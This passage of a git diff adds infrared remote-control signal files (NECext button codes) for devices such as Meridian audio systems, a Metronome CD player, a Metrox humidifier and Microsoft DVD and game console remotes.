CHAPTER_+ +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 20 00 00 00 +# +name: CHAPTER_+B +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 20 00 00 00 +# +name: TRACK_+_A +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 20 00 00 00 +# +name: TRACK_+_B +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 20 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 21 00 00 00 +# +name: CHAPTER_- +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 21 00 00 00 +# +name: CHAPTER_-B +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 21 00 00 00 +# +name: TRACK_-_A +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 21 00 00 00 +# +name: TRACK_-_B +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 21 00 00 00 +# +name: AUDIO +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 23 00 00 00 +# +name: AUDIO_B +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 23 00 00 00 +# +name: F_AUDIO +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 23 00 00 00 +# +name: STORE +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 2E 00 00 00 +# +name: STORE_B +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 2E 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 30 00 00 00 +# +name: PAUSE_B +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 30 00 00 00 +# +name: PAUSE_A +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 30 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 31 00 00 00 +# +name: CLEAR_B +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 31 00 00 00 +# +name: SCAN_<< +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 32 00 00 00 +# +name: REWIND +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 32 00 00 00 +# +name: REWIND_B +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 32 00 00 00 +# +name: REW_B +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 32 00 00 00 +# +name: REW_A +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 32 00 00 00 +# +name: OSD +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 33 00 00 00 +# +name: OSD_B +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 33 00 00 00 +# +name: F_OSD +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 33 00 00 00 +# +name: SCAN_>> +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 34 00 00 00 +# +name: FORWARD +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 34 00 00 00 +# +name: FORWARD_B +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 34 00 00 00 +# +name: FF_B +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 34 00 00 00 +# +name: FF_A +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 34 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 35 00 00 00 +# +name: PLAY_B +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 35 00 00 00 +# +name: PLAY_A +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 35 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 36 00 00 00 +# +name: STOP_B +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 36 00 00 00 +# +name: STOP_A +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 36 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 37 00 00 00 +# +name: RECORD_B +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 37 00 00 00 +# +name: ANGLE +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 3A 00 00 00 +# +name: ANGLE_B +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 3A 00 00 00 +# +name: F_ANGLE +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 3A 00 00 00 +# +name: A-B +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 3B 00 00 00 +# +name: A-B_B +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 3B 00 00 00 +# +name: F_A-B +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 3B 00 00 00 +# +name: F_PHASE +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 3C 00 00 00 +# +name: # +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 43 00 00 00 +# +name: #_B +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 43 00 00 00 +# +name: F_# +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 43 00 00 00 +# +name: PAGE_< +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 44 00 00 00 +# +name: PAGE_<_B +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 44 00 00 00 +# +name: F_L/PAGE +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 20 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 20 00 00 00 +# +name: L> +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 34 00 00 00 +# +name: SCAN_>> +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 34 00 00 00 +# +name: PLAY/AUDIO +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 35 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 35 00 00 00 +# +name: STOP/OPEN +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 36 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 36 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 37 00 00 00 +# +name: RECORD/RED +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 48 00 00 00 +# +name: BAND/GREEN +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 49 00 00 00 +# +name: ANGLE/YELLOW +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 4A 00 00 00 +# +name: OSD/BLUE +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 4B 00 00 00 +# +name: INPUT:_LD +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 4C 00 00 00 +# +name: GAME +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 4C 00 00 00 +# +name: INPUT_LD +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 4C 00 00 00 +# +name: LD +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 4C 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 50 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 50 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 50 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 51 00 00 00 +# +name: MENU/SETUP +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 52 00 00 00 +# +name: DSP_PRESET_STORE +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 53 00 00 00 +# +name: STORE +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 53 00 00 00 +# +name: RETURN +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 53 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 55 00 00 00 +# +name: CURSOE_LEFT +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 55 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 55 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 56 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 57 00 00 00 +# +name: CURSOR_ENTER +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 57 00 00 00 +# +name: DSP +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 5D 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 5E 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 5F 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 60 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 61 00 00 00 +# +name: INPUT:_CD +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 6B 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 6B 00 00 00 +# +name: INPUT_CD +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 6B 00 00 00 +# +name: INPUT:_RADIO +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 6C 00 00 00 +# +name: RADIO +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 6C 00 00 00 +# +name: INPUT:_TAPE_1 +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 6D 00 00 00 +# +name: TAPE +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 6D 00 00 00 +# +name: INPUT_TAPE_1 +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 6D 00 00 00 +# +name: TAPE_1 +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 6D 00 00 00 +# +name: INPUT:_TAPE_2 +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 6E 00 00 00 +# +name: SAT +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 6E 00 00 00 +# +name: INPUT_TAPE_2 +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 6E 00 00 00 +# +name: TAPE_2 +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 6E 00 00 00 +# +name: INPUT:_CABLE +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 6F 00 00 00 +# +name: CABLE +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 6F 00 00 00 +# +name: INPUT_CABLE +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 6F 00 00 00 +# +name: INPUT:_VCR_1 +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 70 00 00 00 +# +name: VCR1 +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 70 00 00 00 +# +name: INPUT_VCR_1 +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 70 00 00 00 +# +name: VCR_1 +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 70 00 00 00 +# +name: INPUT:_VCR_2 +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 71 00 00 00 +# +name: VCR2 +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 71 00 00 00 +# +name: INPUT_VCR_2 +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 71 00 00 00 +# +name: VCR_2 +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 71 00 00 00 +# +name: INPUT:_LP +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 72 00 00 00 +# +name: LP +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 72 00 00 00 +# +name: AUX +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 72 00 00 00 +# +name: INPUT_LP +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 72 00 00 00 +# +name: INPUT:_TV +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 73 00 00 00 +# +name: TV +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 73 00 00 00 +# +name: INPUT_TV +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 73 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 73 00 00 00 +# +name: INPUT:_DVD +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 74 00 00 00 +# +name: DVD +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 74 00 00 00 +# +name: INPUT_DVD +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 74 00 00 00 +# +name: INPUT:_CDR +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 75 00 00 00 +# +name: DISC +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 75 00 00 00 +# +name: INPUT_CDR +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 75 00 00 00 +# +name: CDR +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 75 00 00 00 +# +name: DSP_PRESETS +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 79 00 00 00 +# +name: TOP_MENU/# +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 79 00 00 00 +# +name: . +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 79 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 7A 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Meridian/System Remote/19,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Meridian/System Remote/19,-1.ir new file mode 100644 index 000000000..fd04314a1 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Meridian/System Remote/19,-1.ir @@ -0,0 +1,260 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 09 00 00 00 +# +name: OFF +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 0C 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 0D 00 00 00 +# +name: VOLUME_UP +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 10 00 00 00 +# +name: VOLUME_DOWN +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 11 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 1D 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 20 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 21 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 21 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 30 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 31 00 00 00 +# +name: SCAN_>> +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 34 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 35 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 36 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 37 00 00 00 +# +name: INPUT_LD +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 4C 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 50 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 50 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 51 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 55 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 56 00 00 00 +# +name: INPUT_CD +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 6B 00 00 00 +# +name: INPUT_TAPE_1 +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 6D 00 00 00 +# +name: INPUT_TAPE_2 +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 6E 00 00 00 +# +name: INPUT_CABLE +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 6F 00 00 00 +# +name: INPUT_VCR_1 +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 70 00 00 00 +# +name: INPUT_VCR_2 +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 71 00 00 00 +# +name: INPUT_LP +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 72 00 00 00 +# +name: INPUT_TV +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 73 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 73 00 00 00 +# +name: INPUT_DVD +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 74 00 00 00 +# +name: INPUT_CDR +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 75 00 00 00 +# +name: . +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 79 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 7A 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Metronome/CD Player/20,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Metronome/CD Player/20,-1.ir new file mode 100644 index 000000000..f44cf85c4 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Metronome/CD Player/20,-1.ir @@ -0,0 +1,128 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 09 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 10 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 11 00 00 00 +# +name: SHUFFLE +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 1C 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 1D 00 00 00 +# +name: NEXT +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 20 00 00 00 +# +name: PREV +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 21 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 30 00 00 00 +# +name: SCAN_<< +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 32 00 00 00 +# +name: SCAN_>> +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 34 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 35 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 36 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Metrox/Humidifier/128,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Metrox/Humidifier/128,-1.ir new file mode 100644 index 000000000..b4b043224 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Metrox/Humidifier/128,-1.ir @@ -0,0 +1,44 @@ +Filetype: IR signals file +Version: 1 +# +name: HEATER +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 01 00 00 00 +# +name: MIST_LVL +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 03 00 00 00 +# +name: TIMER +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 04 00 00 00 +# +name: HUMIDITY_SET +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 05 00 00 00 +# +name: IONIZER +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 06 00 00 00 +# +name: NIGHT_MODE +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 09 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 1E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Micromega/DVD Player/4,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Micromega/DVD Player/4,-1.ir new file mode 100644 index 000000000..82f68a126 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Micromega/DVD Player/4,-1.ir @@ -0,0 +1,182 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 09 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0C 00 00 00 +# +name: OSD +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0F 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 20 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 21 00 00 00 +# +name: SLOW_MOTION_- +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 22 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 2C 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 30 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 31 00 00 00 +# +name: EJECT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 42 00 00 00 +# +name: SUBTITLE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 4B 00 00 00 +# +name: AUDIO_MODE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 4E 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 58 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 59 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5A 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5B 00 00 00 +# +name: OK +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5C 00 00 00 +# +name: RETURN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 83 00 00 00 +# +name: ANGLE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 85 00 00 00 +# +name: T-C +type: parsed +protocol: NECext +address: 04 00 00 00 +command: C8 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 04 00 00 00 +command: D1 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Microsoft/DVD Player/5,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Microsoft/DVD Player/5,-1.ir new file mode 100644 index 000000000..fdca957ac --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Microsoft/DVD Player/5,-1.ir @@ -0,0 +1,164 @@ +Filetype: IR signals file +Version: 1 +# +name: MENU +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 08 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 15 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 19 00 00 00 +# +name: TITLE +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1A 00 00 00 +# +name: FFW +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1C 00 00 00 +# +name: REW +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1D 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1F 00 00 00 +# +name: NEXT_TRACK +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 20 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 22 00 00 00 +# +name: BACK +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 27 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2A 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 30 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 31 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 32 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 33 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 34 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 35 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 36 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 37 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 38 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 39 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 3C 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 56 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 57 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 58 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 59 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 05 00 00 00 +command: F4 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Microsoft/Game Console/116,15.ir b/assets/resources/infrared/_CSV-IRDB_/Microsoft/Game Console/116,15.ir new file mode 100644 index 000000000..78f2887f7 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Microsoft/Game Console/116,15.ir @@ -0,0 +1,368 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER_ON/OFF +type: parsed +protocol: NECext +address: 74 0F 00 00 +command: 0C 00 00 00 +# +name: ON/OFF +type: parsed +protocol: NECext +address: 74 0F 00 00 +command: 0C 00 00 00 +# +name: START +type: parsed +protocol: NECext +address: 74 0F 00 00 +command: 0D 00 00 00 +# +name: WINDOWS_MEDIA_CENTER +type: parsed +protocol: NECext +address: 74 0F 00 00 +command: 0D 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 74 0F 00 00 +command: 0F 00 00 00 +# +name: A_(GREEN) +type: parsed +protocol: NECext +address: 74 0F 00 00 +command: 12 00 00 00 +# +name: A +type: parsed +protocol: NECext +address: 74 0F 00 00 +command: 12 00 00 00 +# +name: CH_UP +type: parsed +protocol: NECext +address: 74 0F 00 00 +command: 12 00 00 00 +# +name: N +type: parsed +protocol: NECext +address: 74 0F 00 00 +command: 12 00 00 00 +# +name: X_(BLUE) +type: parsed +protocol: NECext +address: 74 0F 00 00 +command: 13 00 00 00 +# +name: CH_DOWN +type: parsed +protocol: NECext +address: 74 0F 00 00 +command: 13 00 00 00 +# +name: X +type: parsed +protocol: NECext +address: 74 0F 00 00 +command: 13 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 74 0F 00 00 +command: 13 00 00 00 +# +name: SCAN_>> +type: parsed +protocol: NECext +address: 74 0F 00 00 +command: 14 00 00 00 +# +name: FAST_FOWARD +type: parsed +protocol: NECext +address: 74 0F 00 00 +command: 14 00 00 00 +# +name: SEARCH_FORWARD +type: parsed +protocol: NECext +address: 74 0F 00 00 +command: 14 00 00 00 +# +name: SCAN_<< +type: parsed +protocol: NECext +address: 74 0F 00 00 +command: 15 00 00 00 +# +name: REWIND +type: parsed +protocol: NECext +address: 74 0F 00 00 +command: 15 00 00 00 +# +name: SEARCH_BACK +type: parsed +protocol: NECext +address: 74 0F 00 00 +command: 15 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 74 0F 00 00 +command: 16 00 00 00 +# +name: REC +type: parsed +protocol: NECext +address: 74 0F 00 00 +command: 17 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 74 0F 00 00 +command: 17 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 74 0F 00 00 +command: 18 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 74 0F 00 00 +command: 19 00 00 00 +# +name: NEXT +type: parsed +protocol: NECext +address: 74 0F 00 00 +command: 1A 00 00 00 